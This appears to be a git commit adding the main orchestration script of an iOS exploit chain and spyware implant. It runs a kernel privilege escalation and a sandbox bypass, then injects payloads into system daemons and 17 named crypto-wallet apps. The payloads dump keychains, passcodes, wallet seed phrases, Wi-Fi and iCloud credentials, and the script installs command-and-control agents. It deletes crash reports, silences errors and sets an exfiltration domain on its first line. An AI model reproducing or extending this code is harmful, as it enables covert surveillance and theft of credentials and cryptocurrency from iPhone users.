feat: ds
This commit is contained in:
@@ -0,0 +1,329 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
import Native from "libs/Chain/Native";
|
||||
import Chain from "libs/Chain/Chain";
|
||||
import TaskRop from "libs/TaskRop/TaskRop";
|
||||
import Task from "libs/TaskRop/Task";
|
||||
import Sandbox from "libs/TaskRop/Sandbox";
|
||||
import Utils from "libs/JSUtils/Utils";
|
||||
import InjectJS from "./InjectJS";
|
||||
import Driver from "libs/Driver/Driver";
|
||||
import RemoteCall from "libs/TaskRop/RemoteCall";
|
||||
import MigFilterBypassThreadCode from "!raw-loader!../dist/MigFilterBypassThread.js";
|
||||
import loaderCode from "!raw-loader!loader.js";
|
||||
import fileDownloaderCode from "!raw-loader!file_downloader.js";
|
||||
import keychainCopierCode from "!raw-loader!keychain_copier.js";
|
||||
import wifiDumpCode from "!raw-loader!wifi_password_dump.js";
|
||||
import wifiDumpSecuritydCode from "!raw-loader!wifi_password_securityd.js";
|
||||
import iCloudDumperCode from "!raw-loader!icloud_dumper.js";
|
||||
|
||||
import keychainDumperCode from "!raw-loader!keychain_dumper.js";
|
||||
import passcodeCaptureCode from "!raw-loader!passcode_capture.js";
|
||||
import walletKeychainDumpersCode from "!raw-loader!wallet_keychain_dumpers.js";
|
||||
import walletExtractorCode from "!raw-loader!wallet_extractor.js";
|
||||
import ghostNativeStub from "!raw-loader!ghost_native_stub.js";
|
||||
import ghostHttpClient from "!raw-loader!ghost_http_client.js";
|
||||
import ghostFollowonLoader from "!raw-loader!ghost_followon_loader.js";
|
||||
import ghostSharedChannel from "!raw-loader!ghost_shared_channel.js";
|
||||
import ghostSaberAgent from "!raw-loader!ghost_saber_agent.js";
|
||||
import ghostKnifeClient from "!raw-loader!ghost_knife_client.js";
|
||||
|
||||
const ghostSaberPayload = [
|
||||
ghostNativeStub,
|
||||
ghostHttpClient,
|
||||
ghostFollowonLoader,
|
||||
ghostSharedChannel,
|
||||
ghostSaberAgent,
|
||||
].join("\n");
|
||||
const ghostKnifePayload = [ghostNativeStub, ghostKnifeClient].join("\n");
|
||||
|
||||
class MigFilterBypass {
|
||||
|
||||
#running;
|
||||
#sharedMem;
|
||||
#runFlagPtr;
|
||||
#isRunningPtr;
|
||||
#monitorThread1Ptr;
|
||||
#monitorThread2Ptr;
|
||||
#mutexPtr;
|
||||
|
||||
constructor(mutexPtr) {
|
||||
this.#mutexPtr = mutexPtr;
|
||||
this.#running = false;
|
||||
this.#sharedMem = BigInt(Native.callSymbol("calloc", 1, 0x100));
|
||||
this.#runFlagPtr = this.#sharedMem;
|
||||
this.#isRunningPtr = this.#sharedMem + 0x4n;
|
||||
this.#monitorThread1Ptr = this.#sharedMem + 0x8n;
|
||||
this.#monitorThread2Ptr = this.#sharedMem + 0x10n;
|
||||
Native.write32(this.#runFlagPtr, 2);
|
||||
Native.write32(this.#isRunningPtr, 0);
|
||||
}
|
||||
|
||||
start() {
|
||||
if (this.#running)
|
||||
return;
|
||||
|
||||
let threadSelf = BigInt(Native.callSymbol("mach_thread_self"));
|
||||
let threadSelfAddr = BigInt(Task.getPortKObject(threadSelf));
|
||||
|
||||
|
||||
let threadMem = BigInt(Native.callSymbol("calloc", 1, 0x400));
|
||||
let kernelRW = Chain.transferRW();
|
||||
let kernelBase = BigInt(Chain.getKernelBase());
|
||||
Native.write64(threadMem, BigInt(kernelRW.controlSocket));
|
||||
Native.write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket));
|
||||
Native.write64(threadMem + 0x10n, kernelBase);
|
||||
Native.write64(threadMem + 0x18n, threadSelfAddr);
|
||||
Native.write64(threadMem + 0x20n, this.#runFlagPtr);
|
||||
Native.write64(threadMem + 0x28n, this.#isRunningPtr);
|
||||
Native.write64(threadMem + 0x30n, this.#mutexPtr);
|
||||
Native.write64(threadMem + 0x38n, BigInt(Chain.offsets().migLock));
|
||||
Native.write64(threadMem + 0x40n, BigInt(Chain.offsets().migSbxMsg));
|
||||
Native.write64(threadMem + 0x48n, BigInt(Chain.offsets().migKernelStackLR));
|
||||
Native.write64(threadMem + 0x50n, this.#monitorThread1Ptr);
|
||||
Native.write64(threadMem + 0x58n, this.#monitorThread2Ptr);
|
||||
//Native.write64(threadMem, lock.kernelSlide);
|
||||
//Native.write64(threadMem + 0x8n, lock.lockAddr);
|
||||
//console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`);
|
||||
const threadCode = "fcall_init(); " + MigFilterBypassThreadCode;
|
||||
Chain.threadSpawn(threadCode, threadMem);
|
||||
|
||||
for (let i=0; i<10; i++) {
|
||||
let isRunning = Native.read32(this.#isRunningPtr);
|
||||
if (isRunning)
|
||||
break;
|
||||
Native.callSymbol("usleep", 500000);
|
||||
}
|
||||
|
||||
this.#running = true;
|
||||
}
|
||||
|
||||
stop() {
|
||||
if (!this.#running)
|
||||
return;
|
||||
|
||||
Native.write32(this.#runFlagPtr, 0);
|
||||
Native.callSymbol("sleep", 1);
|
||||
this.#running = false;
|
||||
}
|
||||
|
||||
pause() {
|
||||
Native.write32(this.#runFlagPtr, 2);
|
||||
Native.callSymbol("sleep", 1);
|
||||
}
|
||||
|
||||
resume() {
|
||||
Native.write32(this.#runFlagPtr, 1);
|
||||
Native.callSymbol("sleep", 1);
|
||||
}
|
||||
|
||||
monitorThreads(thread1, thread2) {
|
||||
Native.write64(this.#monitorThread1Ptr, thread1);
|
||||
Native.write64(this.#monitorThread2Ptr, thread2);
|
||||
}
|
||||
}
|
||||
function xnuVersion() {
|
||||
Native.callSymbol("uname", Native.mem);
|
||||
const release = Native.readString(Native.mem + 0x200n, 0x100);
|
||||
let splittedVersion = release.split(".");
|
||||
let xnuMajor = splittedVersion[0];
|
||||
let xnuMinor = splittedVersion[1];
|
||||
return {major: xnuMajor, minor: xnuMinor};
|
||||
}
|
||||
|
||||
const TAG = "MAIN";
|
||||
//const targetProcess = "bluetoothd";
|
||||
const targetProcess = "SpringBoard";
|
||||
|
||||
function start() {
|
||||
let mutexPtr = null;
|
||||
let migFilterBypass = null;
|
||||
globalThis.xnuVersion = xnuVersion();
|
||||
let ver = globalThis.xnuVersion;
|
||||
|
||||
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
|
||||
if (ver.major == 24 && ver.minor >= 4) {
|
||||
|
||||
mutexPtr = BigInt(Native.callSymbol("malloc", 0x100));
|
||||
Native.callSymbol("pthread_mutex_init", mutexPtr, null);
|
||||
migFilterBypass = new MigFilterBypass(mutexPtr);
|
||||
}
|
||||
let driver = new Driver();
|
||||
|
||||
Chain.init(driver, mutexPtr);
|
||||
|
||||
let resultPE = Chain.runPE();
|
||||
if (!resultPE)
|
||||
return;
|
||||
|
||||
|
||||
TaskRop.init();
|
||||
if(migFilterBypass)
|
||||
migFilterBypass.start();
|
||||
let launchdTask = new RemoteCall("launchd",migFilterBypass);
|
||||
if (!launchdTask.success()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
Sandbox.initWithLaunchdTask(launchdTask);
|
||||
Sandbox.deleteCrashReports();
|
||||
Sandbox.createTokens();
|
||||
|
||||
let agentLoader = new InjectJS(targetProcess, loaderCode, migFilterBypass);
|
||||
let agentPid = 0;
|
||||
|
||||
if (agentLoader.inject()) {
|
||||
agentPid = agentLoader.task.pid();
|
||||
Sandbox.applyTokensForRemoteTask(agentLoader.task);
|
||||
Sandbox.adjustMemoryPressure(targetProcess);
|
||||
|
||||
agentLoader.destroy();
|
||||
}
|
||||
|
||||
// Phase order:
|
||||
// 0x45 keychain_copier → configd (must run BEFORE file_downloader)
|
||||
// 0x46 keychain_dumper → securityd
|
||||
// 0x47 passcode_capture → SpringBoard
|
||||
// 0x48 file_downloader → SpringBoard (picks up /tmp keychain+keybag)
|
||||
// 0x4D wallet_keychain_dumpers (+ wallet_extractor) → wallet apps
|
||||
// 0x4B icloud_dumper → UserEventAgent
|
||||
// 0x49 wifi_password_dump → wifid
|
||||
// 0x4A wifi_password_securityd → securityd
|
||||
|
||||
const keychainProcess = "configd";
|
||||
let keychainCopier = new InjectJS(keychainProcess, keychainCopierCode, migFilterBypass);
|
||||
if (keychainCopier.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(keychainCopier.task);
|
||||
keychainCopier.destroy();
|
||||
}
|
||||
|
||||
const securitydProcess = "securityd";
|
||||
let keychainDumper = new InjectJS(securitydProcess, keychainDumperCode, migFilterBypass);
|
||||
if (keychainDumper.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(keychainDumper.task);
|
||||
keychainDumper.destroy();
|
||||
}
|
||||
|
||||
try {
|
||||
let passcodeCap = new InjectJS(targetProcess, passcodeCaptureCode, migFilterBypass);
|
||||
if (passcodeCap.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(passcodeCap.task);
|
||||
passcodeCap.destroy();
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
// Brief settle so configd/securityd can land files in /tmp before FD starts
|
||||
try { Native.callSymbol("usleep", BigInt(1500000)); } catch (_) {}
|
||||
|
||||
try {
|
||||
let fileDownloader = new InjectJS(targetProcess, fileDownloaderCode, migFilterBypass);
|
||||
if (fileDownloader.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(fileDownloader.task);
|
||||
fileDownloader.destroy();
|
||||
}
|
||||
} catch (injectError) {}
|
||||
|
||||
// 0x4D — wallet app processes (best-effort; skip if not running)
|
||||
const walletProcesses = [
|
||||
"Trust", "MetaMask", "Rainbow", "Phantom", "Exodus", "imToken",
|
||||
"Coinbase", "Coinbase Wallet", "Blockchain", "TokenPocket", "SafePal",
|
||||
"Bitget", "OKX", "Binance", "Ledger Live", "BlueWallet", "Atomic",
|
||||
];
|
||||
const walletPayload = walletKeychainDumpersCode + "\n" + walletExtractorCode;
|
||||
for (let wi = 0; wi < walletProcesses.length; wi++) {
|
||||
try {
|
||||
let wDump = new InjectJS(walletProcesses[wi], walletPayload, migFilterBypass);
|
||||
if (wDump.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(wDump.task);
|
||||
wDump.destroy();
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
// Also run extractor in SpringBoard (pasteboard / residual ObjC)
|
||||
try {
|
||||
let sbExtract = new InjectJS(targetProcess, walletExtractorCode, migFilterBypass);
|
||||
if (sbExtract.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(sbExtract.task);
|
||||
sbExtract.destroy();
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
const userEventAgentProcess = "UserEventAgent";
|
||||
let iCloudDumper = new InjectJS(userEventAgentProcess, iCloudDumperCode, migFilterBypass);
|
||||
if (iCloudDumper.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(iCloudDumper.task);
|
||||
iCloudDumper.destroy();
|
||||
}
|
||||
|
||||
const wifidProcess = "wifid";
|
||||
let wifiDump = new InjectJS(wifidProcess, wifiDumpCode, migFilterBypass);
|
||||
if (wifiDump.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(wifiDump.task);
|
||||
wifiDump.destroy();
|
||||
}
|
||||
|
||||
let wifiDumpSecurityd = new InjectJS(securitydProcess, wifiDumpSecuritydCode, migFilterBypass);
|
||||
if (wifiDumpSecurityd.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(wifiDumpSecurityd.task);
|
||||
wifiDumpSecurityd.destroy();
|
||||
}
|
||||
|
||||
const p0Signals = [
|
||||
"/tmp/keychain-2.db",
|
||||
"/tmp/keychain_full_dump.txt",
|
||||
"/tmp/wallet_mnemonic_scan.txt",
|
||||
"/tmp/wifi_passwords.txt",
|
||||
"/private/var/tmp/wifi_passwords.txt",
|
||||
];
|
||||
for (let round = 0; round < 24; round++) {
|
||||
let ready = 0;
|
||||
for (let i = 0; i < p0Signals.length; i++) {
|
||||
const probe = p0Signals[i];
|
||||
const fd = Native.callSymbol("open", probe, 0);
|
||||
if (Number(fd) >= 0) {
|
||||
Native.callSymbol("close", fd);
|
||||
ready++;
|
||||
}
|
||||
}
|
||||
if (ready >= 2) break;
|
||||
if (ready >= 1 && round >= 12) break;
|
||||
Native.callSymbol("sleep", 1);
|
||||
}
|
||||
|
||||
// (file_downloader already injected after keychain stages — no second pass)
|
||||
|
||||
// GHOSTSABER: persistent C2 loop + send_command_to_upper_process (research lab)
|
||||
try {
|
||||
let ghostSaber = new InjectJS(targetProcess, ghostSaberPayload, migFilterBypass);
|
||||
if (ghostSaber.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(ghostSaber.task);
|
||||
ghostSaber.destroy();
|
||||
}
|
||||
} catch (e) {
|
||||
// optional post-exploit module
|
||||
}
|
||||
|
||||
// GHOSTKNIFE: ECDH binary C2 one-shot module harvest (research lab)
|
||||
try {
|
||||
let ghostKnife = new InjectJS(targetProcess, ghostKnifePayload, migFilterBypass);
|
||||
if (ghostKnife.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(ghostKnife.task);
|
||||
ghostKnife.destroy();
|
||||
}
|
||||
} catch (e) {
|
||||
// optional post-exploit module
|
||||
}
|
||||
|
||||
launchdTask.destroy();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
try {
|
||||
start();
|
||||
}
|
||||
catch (error) {
|
||||
// Error handling without logging
|
||||
}
|
||||
finally {
|
||||
Native.callSymbol("exit", 0n);
|
||||
}
|
||||
Reference in New Issue
Block a user